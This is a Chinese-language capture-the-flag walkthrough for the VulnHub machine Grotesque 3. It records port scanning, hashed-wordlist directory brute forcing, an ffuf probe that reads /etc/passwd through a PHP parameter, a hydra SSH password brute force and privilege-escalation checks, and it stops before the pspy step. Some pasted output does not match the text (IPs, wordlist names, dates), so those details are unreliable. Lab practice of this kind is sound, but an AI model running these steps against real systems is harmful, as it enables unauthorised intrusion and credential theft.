vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
PS:这个是Grotesque系列一共有3个靶机，分别是1.2.3老样子需要获得root权限找到flag
Difficulty：medium
官网链接：https://download.vulnhub.com/grotesque/grotesque3.zip
下载好了把安装包解压 然后使用Oracle VM打开即可。
kali里使用arp-scan -l或者netdiscover发现主机
渗透机：kali IP ：192.168.8.101 靶机IP ：192.168.8.178
使用命令：
nmap -sS -sV -n -T4 -p- 192.168.8.178
开启了22，80端口访问80，老样子扫描一下后台使用工具dirb，dirsearch，gobuster都没啥信息
这里看到一个超链接，点进去一张地图 既然后台扫不出那就换个思路找这个地图的信息 找到了md5
这里提示的是目录是md5加密的，所以需要生成一个加密的md5字典 使用命令：
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> dir.txt; done
然后需要把全部的 - 替换为 空格 然后在扫应该就能扫到目录了
gobuster dir -u http://192.168.8.178 -w dir.txt -x php,html,txt,png,jpg,jpeg,css,js -b 403,404 -t 35
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.8.178
[+] Method: GET
[+] Threads: 35
[+] Wordlist: DIRMD5.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,png,jpg,jpeg,css,js,php,html
[+] Timeout: 10s
===============================================================
2023/08/17 00:22:36 Starting gobuster in directory enumeration mode
===============================================================
/f66b22bf020334b04c7d0d3eb5010391.php (Status: 200) [Size: 0]
Progress: 1978235 / 1985049 (99.66%)
===============================================================
2023/09/20 23:00:00 Finished
===============================================================
扫到了f66b22bf020334b04c7d0d3eb5010391.php进行访问，发现空白页
尝试一下ffuf模糊探测 得到：purpose
ffuf -c -u http://192.168.8.178/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd -w /usr/share/wordlists/rockyou.txt -fs 0
这里检测一下 发现有个权限比较高得freddie用户 使用刚刚得md5字典进行爆破SSH密码
hydra -l freddie -P dirmd5.txt ssh://192.168.8.178 -t 20
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-20 23:22:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 220560 login tries (l:1/p:220560), ~13785 tries per task
[DATA] attacking ssh://192.168.1.49:22/
[STATUS] 142.00 tries/min, 142 tries in 00:01h, 220420 to do in 25:53h, 14 active
[STATUS] 98.67 tries/min, 296 tries in 00:03h, 220266 to do in 37:13h, 14 active
[STATUS] 92.29 tries/min, 646 tries in 00:07h, 219916 to do in 39:43h, 14 active
[STATUS] 2.39 tries/min, 675 tries in 04:42h, 219887 to do in 1535:47h, 14 active
[STATUS] 7.03 tries/min, 2101 tries in 04:58h, 218461 to do in 517:57h, 14 active
[22][ssh] host: 192.168.1.49 login: freddie password: 61a4e3e60c063d1e472dd780f64e6cad
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-09-20 23:24:23
得到密码为：61a4e3e60c063d1e472dd780f64e6cad
ssh freddie@192.168.8.178
先拿到个flag
又到了提权阶段了 sudo -l 和find / -perm -u=s -type f 2>/dev/null 都没有可以利用的信息。
ss -tulpn 查看用户开放发那些端口这里发现 开启了445 SMB服务 文件共享
smbclient -L 127.0.0.1 登入发现了一个grotesque的文件，没有可以利用的信息。
这个时候可以上传一个pspy64 看看说不定有什么定时任务呢